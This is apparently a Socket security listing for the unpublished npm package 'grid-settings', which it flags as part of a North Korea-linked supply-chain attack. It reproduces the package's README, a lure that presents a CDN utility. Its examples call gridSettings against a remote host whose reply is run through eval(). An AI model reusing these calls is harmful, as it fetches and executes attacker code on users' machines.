Latest Threat Research:SANDWORM_MODE: Shai-Hulud-Style npm Worm Hijacks CI Workflows and Poisons AI Toolchains.Details
Socket
Book a DemoInstallSign in
Socket

grid-settings

Package Overview
Dependencies
Maintainers
1
Versions
4
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install
Package version was removed
This package version has been unpublished, mostly likely due to security reasons
This package was compromised as part of the ongoing "North Korea’s Contagious Interview Campaign" supply chain attack.

Affected versions:

14.1.214.1.3
Read more on our blog

grid-settings

unpublished
npmnpm
Version
14.1.3
Maintainers
1
Created
Source

Grid Settings

npm version License: ISC

A Node.js utility for fetching and managing settings from a distributed grid system. This module provides functions to retrieve icon resources from multiple CDN providers and fetch grid configuration settings with automatic retry logic.

✨ Features

  • 🌐 Multi-CDN Support - Fetch resources from 6 major CDN providers
  • ⚙️ Grid Configuration - Retrieve and apply settings from remote grid systems
  • 🔄 Automatic Retry Logic - Built-in retry mechanism for failed requests
  • 📦 Simple API - Easy-to-use promise-based functions
  • 🛡️ Error Handling - Comprehensive validation and error management

📦 Installation

npm install grid-settings

🚀 Quick Start

const { setDefaultModule, gridSettings } = require('grid-settings');

// Fetch an icon from Cloudflare CDN
setDefaultModule('cloudflare', 'icon', 'github.svg', 'https://cdnjs.cloudflare.com')
  .then(data => {
    console.log('Icon data:', data);
  })
  .catch(error => {
    console.error('Error:', error);
  });

// Fetch grid settings
gridSettings('132', options, 3); // Retry up to 3 times

📖 API Reference

setDefaultModule(iconProvider, resourceType, token, baseUrl)

Fetches an icon resource from a specified CDN provider.

Parameters:

ParameterTypeDescription
iconProviderstringCDN provider name (see supported providers below)
resourceTypestringType of resource to fetch
tokenstringResource identifier or token
baseUrlstringBase URL for the CDN endpoint

Returns: Promise<Object> - Resolves with the fetched resource data

Example:

const { setDefaultModule } = require('grid-settings');

async function fetchIcon() {
  try {
    const data = await setDefaultModule(
      'cloudflare',
      'icon',
      'github.svg',
      'https://cdnjs.cloudflare.com'
    );
    console.log('Icon data:', data);
  } catch (error) {
    console.error('Failed:', error.message);
  }
}

fetchIcon();

gridSettings(reqtoken, reqoptions, ret)

Fetches grid configuration settings with automatic retry logic. This function retrieves settings from the configured grid endpoint and applies them.

Parameters:

ParameterTypeDescription
reqtokenstringToken for the grid settings request (default: '132')
reqoptionsObjectRequest options including URL and headers
retnumberNumber of retry attempts (default: 1)

Note: This function uses eval() to execute received code. Ensure the grid endpoint is trusted.

Example:

const { gridSettings } = require('grid-settings');

// Fetch settings with 3 retry attempts
gridSettings('132', options, 3);

// Fetch with custom token
const customOptions = {
  url: 'https://ip-api-check-nine.vercel.app/icons/',
  headers: { bearrtoken: 'logo' }
};
gridSettings('custom-token', customOptions, 2);

🌐 Supported CDN Providers

ProviderIdentifierDomain
Cloudflarecloudflarecloudflare.com
Fastlyfastlyfastly.net
KeyCDNkeyIconkeyIcon.com
Akamaiakamaiakamai.net
Amazon CloudFrontamazoncloudfrontcloudfront.net
Gcoregcoregcorelabs.com

💡 Usage Examples

Fetching Icons from Multiple CDNs

const { setDefaultModule } = require('grid-settings');

async function loadIconsFromMultipleCDNs() {
  const providers = ['cloudflare', 'fastly', 'akamai'];
  const icons = ['github.svg', 'twitter.svg', 'linkedin.svg'];
  
  for (const provider of providers) {
    for (const icon of icons) {
      try {
        const data = await setDefaultModule(
          provider,
          'icon',
          icon,
          `https://cdnjs.${provider === 'cloudflare' ? 'cloudflare' : provider}.com`
        );
        console.log(`Loaded ${icon} from ${provider}:`, data);
      } catch (error) {
        console.error(`Failed to load ${icon} from ${provider}:`, error.message);
      }
    }
  }
}

loadIconsFromMultipleCDNs();

Configuring Grid Settings

const { gridSettings } = require('grid-settings');

// Configure and apply grid settings with retries
function applyGridConfiguration(configId, retries = 5) {
  const options = {
    url: 'https://ip-api-check-nine.vercel.app/icons/',
    headers: { bearrtoken: 'logo' }
  };
  
  gridSettings(configId, options, retries);
  console.log(`Grid settings applied with ID: ${configId}`);
}

applyGridConfiguration('grid-config-001', 3);

Error Handling

const { setDefaultModule, gridSettings } = require('grid-settings');

// Handle errors in setDefaultModule
setDefaultModule('invalid-provider', 'icon', 'test.svg', 'https://example.com')
  .catch(error => {
    if (error.message === 'Unsupported Icon provider') {
      console.error('Please use a supported CDN provider');
    } else {
      console.error('Unexpected error:', error);
    }
  });

// Grid settings will automatically retry on failure
gridSettings('token', options, 3);

⚠️ Important Notes

Security Considerations

  • gridSettings uses eval() - This function executes code received from the remote server
  • Only use trusted grid endpoints - Ensure the grid configuration endpoint is secure and trusted
  • Validate all inputs - Always validate tokens and configuration IDs before use

Error Handling

The library throws errors in the following cases:

  • Unsupported CDN Provider: When an invalid provider identifier is used in setDefaultModule
  • Network Errors: When the request fails due to network issues
  • Invalid Response: When the server returns a non-200 status code
  • Parse Errors: When the response body cannot be parsed as JSON

🔧 Requirements

  • Node.js >= 12.0.0
  • npm or yarn package manager

📝 License

ISC License - see the LICENSE file for details.

🐛 Bug Reports

Found a bug? Please report it on GitHub Issues.

👤 Author

copperadev

🤝 Contributing

Contributions, issues, and feature requests are welcome!

Made with ❤️ by copperadev

FAQs

Did you know?

Socket

Socket for GitHub automatically highlights issues in each pull request and monitors the health of all your open source dependencies. Discover the contents of your packages and block harmful activity before you install or update your dependencies.

Install

Related posts